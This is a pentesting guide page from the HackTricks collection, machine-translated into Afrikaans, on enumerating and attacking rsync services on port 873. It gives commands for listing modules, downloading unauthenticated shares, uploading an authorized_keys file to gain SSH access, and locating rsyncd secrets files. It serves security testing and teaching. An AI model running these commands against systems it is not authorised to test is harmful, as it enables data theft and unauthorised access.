hacktricks/src/network-services-pentesting/873-pentesting-rsync.md

4.3 KiB

873 - Pentesting Rsync

{{#include ../banners/hacktricks-training.md}}

Basiese Inligting

From wikipedia:

rsync is 'n nut vir doeltreffende transferring en synchronizing files tussen 'n rekenaar en 'n eksterne hardeskyf en oor networked computers deur die modification times en groottes van lêers te vergelyk.[3] Dit word algemeen op Unix-like operating systems aangetref. Die rsync-algoritme is 'n tipe van delta encoding, en word gebruik om netwerkgebruik te minimaliseer. Zlib kan gebruik word vir addisionele data compression,[3] en SSH of stunnel kan gebruik word vir sekuriteit.

Standaard poort: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Opname

Banier & Handmatige kommunikasie

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Opname van Gedeelde Mappe

Rsync modules word erken as gedeelde gidse wat moontlik met wagwoorde beskerm word. Om beskikbare modules te identifiseer en te kyk of hulle wagwoorde benodig, word die volgende opdragte gebruik:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Wees bewus dat sommige gedeeltes dalk nie in die lys verskyn nie, wat hulle moontlik verberg. Boonop kan toegang tot sommige gedeeltes beperk wees tot spesifieke akkrediteer wat aangedui word deur 'n "Toegang Weier" boodskap.

Brute Force

Handmatige Rsync Gebruik

Na die verkryging van 'n module lys, hang aksies af van of verifikasie nodig is. Sonder verifikasie kan lys en kopieer van lêers van 'n gedeelde gids na 'n plaaslike gids bereik word deur:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Hierdie proses herhalend oordra lêers, terwyl hulle se attributes en toestemmings behou word.

Met akkrediteerbare inligting, kan lys en aflaai van 'n gedeelde gids soos volg gedoen word, waar 'n wagwoordprompt sal verskyn:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

Om inhoud op te laai, soos 'n authorized_keys lêer vir toegang, gebruik:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

Om die rsyncd konfigurasie lêer te vind, voer uit:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Binne hierdie lêer kan 'n secrets file parameter na 'n lêer verwys wat gebruikersname en wagwoorde vir rsyncd outentisering bevat.

Verwysings

{{#include ../banners/hacktricks-training.md}}